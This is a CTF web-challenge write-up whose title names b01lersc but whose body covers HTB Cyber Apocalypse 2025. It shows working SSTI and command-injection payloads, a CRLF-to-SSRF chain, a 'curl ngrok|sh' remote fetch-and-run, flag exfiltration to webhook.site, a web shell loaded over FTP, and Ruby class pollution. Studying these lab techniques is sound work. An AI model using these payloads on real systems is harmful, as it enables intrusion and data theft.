b01lersc CTF 2025 - Web Challenge Writeup
Write-up of two web challenges for the b01lersc CTF 2025.
Hello everyone,
HTB Cyber Apocalypse 2025 CTF just finished, and I decided to do this write-up for the Web and AI challenges, which are the ones I enjoyed the most and consequently spent the most time on. My team ranked 338th place out of 8129 teams, with 51 out of 77 flags submitted, solving 35 out of the 62 total challenges. I managed to contribute with 21 flags to my team’s efforts.
Firstly, thanks to my team for pushing me and teaching me a lot of new stuff and all the HTB staff for putting this CTF together.
No source code for this challenge.
Running examine
would return:
I assumed it was running whoami
in the background, so possible command injection.
Running examine; ls
would lead to:
It worked so you just need to cat the flag by doing examine; cat flag.txt
.
Source Code was available this time.
Python application with:
My first thought was: Flask + Jinja2 = Possibly SSTI
There was also a very big hint on the main page and checking the code:
Very likely to be SSTI at this point.
Inserting a SSTI payload in the brave warrior, name would take me to /begin
, which would set a new cookie and then to /flamedrake
where I would fight a dragon:
As you can see above, the payload didn’t render and I didn’t get 49
as a result.
Going back to the source code, I could see the existence of a route to /battle-report
Which gets our warrior_name
from our session cookie.
Trying to hit this endpoint with the cookie that was given to us when we hit /begin
would return:
We got 49
rendered in the response, so this is SSTI confirmed. Now we just need to find a malicious payload to inject and repeat the same steps.
Using the most basic Jinja2 SSTI payload like the below:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
on the warrior_name
parameter on the /begin
endpoint, grabbing the cookie and pasting in the a POST request to /battle-report
would lead to the following:
That is command execution and from here we just need to adjust the payload to get the flag.
{{self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag*.txt').read()}}
Source code was available for this challenge.
The application was relatively small, only had two endpoints:
First thought was the use of os.popen
which is insecure, but in this specific case there was a nasty regex pattern making sure that no commands could sneak through the target parameter.
Although, the parameter name
was being reflected in the Location
header, which I might be able to trick via CRLF.
First thought was the use of os.popen
which in this case there is vulnerable to command injection, because opposite to attack-domain
endpoint, there is no validation for the target
parameter.
Being able to hit this endpoint directly would be too easy for a CTF challenge, so there was this apache2.conf
setting stopping us to directly navigate to it unless the request came from localhost.
Which only meant one thing: SSRF.
Gluing the pieces together, the idea of an attack path would look something like this : Someway to spoof my IP Address (most likely CRLF) to SSRF to Command Injection on /attack-ip.
First thing I did was trying all easy wins to spoof an IP address to a server -> HTTP Headers
I tried all the below headers with a direct request to /attack-ip
but without any success:
- X-ProxyUser-Ip: 127.0.0.1
- Client-IP: 127.0.0.1
- Host: localhost
- X-Forwarded-For: 127.0.0.1
- X-Forward-For: 127.0.0.1
- X-Forwarded-Host: 127.0.0.1
- Forwarded: 127.0.0.1
- Via: 127.0.0.1
- X-Real-IP: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Remote-Addr: 127.0.0.1
- X-Trusted-IP: 127.0.0.1
- X-Requested-By: 127.0.0.1
- X-Requested-For: 127.0.0.1
- X-Forwarded-Server: 127.0.0.1
It is not a vulnerability that I find often (I also don’t try to find it often) or I read a lot about it, so I didn’t have much information about it prior to this challenge.
The parameter target
was not a good candidate for this, because of the regex sanitization. So the name
parameter seemed like a good candidate.
Trying some different CRLF payload, I came up with the first breakthrough.
Injection an a%0d%0aLocation:+/doesntexist%0d%0a%0d%0a
on the name
parameter would gives us a 404 Not Found
, which was the first small victory.
Clearly, this was vulnerable to CRLF, but how to achieve SSRF from this?
After searching for quite a while I found this resource: Apache - HackTricks
Arbitrary Handler to Full SSRF
Redirecting to mod_proxy
to access any protocol on any URL:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
This was just what I needed to get SSRF, basically, I just had to sneak through a new header with Content-Type:proxy:http://127.0.0.1
.
After some trial and error payload looked something like this: %0d%0aLocation:/ooo%0d%0aContent-Type:proxy:http://127.0.0.1%0d%0a%0d%0a
, which returned the following response.
As can be seen in the image above, the request did work and I was hitting the webserver through 127.0.0.1
, confirming SSRF.
With our SSRF fully working, I could now hit the attack-ip
endpoint and achieve code execution.
After a while I was able to hit that endpoint with a valid request.
GET /cgi-bin/attack-domain?target=-&name=a%0d%0aLocation:+/a%0d%0aContent-Type:+proxy:http://127.0.0.1/cgi-bin/attack-ip%3ftarget=127.0.0.1%26name=%0d%0a%0d%0a
Which in reality translates to:
GET /cgi-bin/attack-domain?target=-&name=a
Location: /a
Content-Type: proxy:http://127.0.0.1/cgi-bin/attack-ip?target=127.0.0.1&name=
Now was just a matter of actually test the command injection and crafting a payload that would either get us a shell on the server or just read the flag.
My first thought was to try to get it via DNS exfiltration with for example:
$(curl `whoami`.{BURPCOLLABORATOR})
and it did work, although every single try to sneak more complex commands like reverse shells were failing miserably, I believe mostly because of all this URL encoding, which with time was turning my head into mash.
So my team mate came up with a different strategy, a much more simple payload, which basically, the server would get the bash script, pipe into sh bypassing need for url encoding, shell has a 2nd curl for the command output, which was:
curl [url web server]|sh
Final payload looked this this:
GET /cgi-bin/attack-domain?target=-&name=a%0d%0aLocation:+/a%0d%0aContent-Type:+proxy:http://127.0.0.1/cgi-bin/attack-ip%3ftarget=::1%$(curl%2b5.tcp.eu.ngrok.io:17338|sh)%26name=%0d%0a%0d%0a
#!/bin/sh
#ls=$(cat /flag*.txt|base64 -w0)
curl https://webhook.site/994ec04f-ad49-4aec-9b85-4e2273071f09/$ls
Request:
Web Server Setup + Ngrok:
Webhook Request
Request URL Value: https://webhook.site/031827b4-6af5-4492-819b-d6307a862535/SFRCe2g0bmRsMW42X200bDRrNHI1X2YwcmMzNX0=
Base64 Decoding:
Solution: HTB{h4ndl1n6_m4l4k4r5_f0rc35}
This Web App was much more complex than all the previous ones, with a lot of endpoints to hit as you can see below:
First thing that popped up to me was the existence of a bot performing actions, to me this always screams either XSS or CSRF, so I had that in mind.
Visiting the website, it shows us a login portal and a registration button that allows us to create an account.
Logging in I can see that there is plenty of functionality:
But the first thing I went to check was the cookie, does it have any flags like secure or httponly?
Difficult, but not impossible. I will have this on the back of my mind.
Also, checking all traffic in Burp Suite history, there were no CSRF tokens anywhere in sight, which was a good sign.
As part of my recon I started by visiting the routes.php file and started to check for endpoints that I still didn’t have on my Burp history by using the frontend
The ones that really popped out to me were:
Afterall these were all admin endpoints, although I think I can discard cleanDatabase as this was just deleting all user accounts other than the admin.
To my surprise my user account had access to all these resources, which means that it wasn’t checking if my account was an admin or not.
The endpoint that really caught my attention was the /api/admin/appSettings
. Both GET and POST requests were working just fine.
After changing the template_path
to something the Web App stopped working, returning a Error: File not found
it couldn’t find the files to serve anymore.
After going through the code to analyze this behaviour, I noticed that this template_path
value was being used to render the resources from the web server, as you can see below:
So my idea was to straight away try to hijack this path to a server I control and then have a file being served with any of the resources loaded by the web app, such as login.php
, register.php
or dashboard.php
for example.
Firstly, I tried to pass my own web server via ngrok with a malicious register.php
file as such:
sudo python3 -m http.server 80
ngrok tcp 80
to expose it to the Internet.
template_path
to point to my exposed web server:
But this didn’t work, I wasn’t getting any hits on my webserver at all, I tried without the http://
but it was the same.
Then I tried the same exact process, but with a FTP server instead.
/register
And this time, I had a hit!
Although what I couldn’t understand was this 550 Not a directory
error, I tried very hard to debug this and find how to solve it, but I just couldn’t.
I decided to try a different approach and test a proper FTP Server. I looked online and I found this one:
I could upload files for 10 minutes, which was enough time to test.
First thing I did was connect myself to it and upload the file to the root directory.
Now I just needed to change the template_path
again to point to this FTP server by executing:
Refreshing the /register
endpoint, I get presented with a beautiful looking web shell.
Just needed to execute cat /flag*.txt
and retrieve the flag.
Note: Looking back at it, I now think this was an unintended way to solve this challenge, as someone went through the trouble of programming a bot to visit the page, most likely for some vulnerability chaining, in this case I think CSRF would have been the way to edit the template_path
variable.
Solution: HTB{p41n_c4us3d_by_th3_usu4l_5u5p3ct_640f945ae69a9701f545e4dd58051e47}
Note: I didn’t manage to solve this one, although I want to showcase how far I got. Looking forward to read the writeup.
Visiting the Web App, there was a lot of functionality, so I started by going to have a look at the source code.
First thing that popped was this obvious command injection vulnerability on a GRPC endpoint.
I confirmed this by running the environment locally and trying to see if I could execute commands, turns out I could:
So this vulnerability was confirmed and this was definitely the way to go. Although I couldn’t just access the remote GRPC server directly through my browser, which means I had to find a way to get SSRF.
I could see a curl command on the app.rb
file being utilized:
Which was this section of the website:
It was using curl on a variable called realm_url
which was defined above as:
class Adventurer
@@realm_url = "http://eldoria-realm.htb"
attr_accessor :name, :age, :attributes
def self.realm_url
@@realm_url
end
end
So I knew if I could poison and managed to be in control of this realm_url
I could get the SSRF I was looking for.
The entire code for this Class was:
class Adventurer
@@realm_url = "http://eldoria-realm.htb"
attr_accessor :name, :age, :attributes
def self.realm_url
@@realm_url
end
def initialize(name:, age:, attributes:)
@name = name
@age = age
@attributes = attributes
end
def merge_with(additional)
recursive_merge(self, additional)
end
private
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end
I spent quite a while looking for what it could be, that’s when I decided to google part of the code current_obj.singleton_class.attr_accessor key
, which led me to this blog post:
Class Pollution in Ruby: A Deep Dive into Exploiting Recursive Merges
This definitely seems to be it.
Trying the above exploit with a few adjustments to suit this app as such:
Now, visiting the same section of the Web App (Connect to a Realm) would now show my injected realm_url
value instead of the one set by the application as you can see below.
And I did have a request on my collaborator, so this definitely worked and I could now have SSRF.
From here I just couldn’t push through, I knew exactly what I had to do (the command injection identified previously) but I couldn’t find a way to hit the GRPC endpoint from the SSRF. Looking forward to read the writeup for this challenge.